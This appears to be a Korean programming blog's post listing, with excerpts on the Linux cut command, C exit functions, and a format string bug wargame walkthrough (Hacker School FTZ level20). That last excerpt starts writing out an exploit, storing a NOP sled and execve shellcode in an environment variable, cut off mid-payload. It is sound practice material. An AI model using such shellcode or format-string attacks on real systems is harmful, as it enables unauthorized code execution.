본문 바로가기

전체 글143

리눅스 명령어 - cut cut 명령어 기능 파일에서 필드를 뽑아낸다. 필드는 구분자로 구분할 수 있다. 사용법 cut [option] [file] 옵션 -c 문자위치 :잘라낼 곳의 글자 위치를 지정한다. 콤마나 하이픈을 사용하여 범위를 정할 수도 있으며, 이런 표현들을 혼합하여 사용할 수도 있다. -f 필드 : 잘라낼 필드를 정한다. -d 구분자 : 필드를 구분하는 문자를 지정한다. 디폴트는 탭 문자다. -s : 필드 구분자를 포함할 수 없다면 그 행은 하지 않는다. ex) test.txt 파일에는 아래의 data가 있습니다. aaa:bbb:Ccc:ddd:gdef efef:aab:wef:bgb:azc 1) cut -c 3 2) cut -c 1-5 3) cut -d":" -f3 4) cut -d"K" -f1 (구분자로 사용하는 .. 2012. 5. 7.
프로그램 종료2 - atexit(), _exit() atexit() 원형 : int atexit(atexit_t func) 헤더 파일 : stdlib.h 리턴 값 : 성공시 0 반환, 실패시 0 이외의 값 리턴 -> 프로그램이 종료되거나 exit()함수에 의해 종료될때 atexit()에 등록한 함수를 실행한다. exit(0)없이 프로그램이 종료되도 test()함수는 실행된다. 그리고 atexit()에 나중에 등록한 함수가 먼저 실행된다. ex) _exit() 원형 : void _exit(int status) 헤더 파일 : stdlib.h -> exit()와 다르게 열려 있는 파일을 닫는다거나 탈출 함수를 호출하지 않고 종료한다. _exit()를 했을때는 test()함수가 실행되지 않는다. 2012. 5. 3.
프로그램 종료 - assert(), exit(), abort() assert() 원형 : void assert(int test) 헤더 파일 : assert.h -> assert안의 값이 false일 경우 프로그램을 비정상적으로 종료 exit() 원형 : void exit(int status) 헤더 파일 : stdlib.h -> EXIT_SUCCESS : 정상적인 종료 (0) EXIT_FAILURE : 비정상적인 종료 (1) abort() 원형 : void abort(void) 헤더 파일 : stdlib.h -> 프로그램을 비정상적으로 종료한다. 2012. 5. 2.
포맷 스트링 버그 - FSB (Format String Bug) 기본 연습하기 포맷 스트링 버그 해커 스쿨의 ftz level20 포맷 스트링 버그 문제를 풀면서 연습을 해보겠습니다. 먼저 포맷 스트링 버그의 원리에 대해서는 아래 블로그를 참고하세요. http://geundi.tistory.com/133 그럼 ftz의 level20문제를 풀어보겠습니다. 일단 문제를 출력해보면 printf에서 포맷 스트링 버그가 있다는 것을 알 수 있습니다. 그럼 포맷 스트링 공격을 시도해봅시다. 1. 먼저 shellcode를 환경 변수에 넣어 줍니다. export CODE=`perl -e 'print "\x90"x100, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x.. 2012. 5. 2.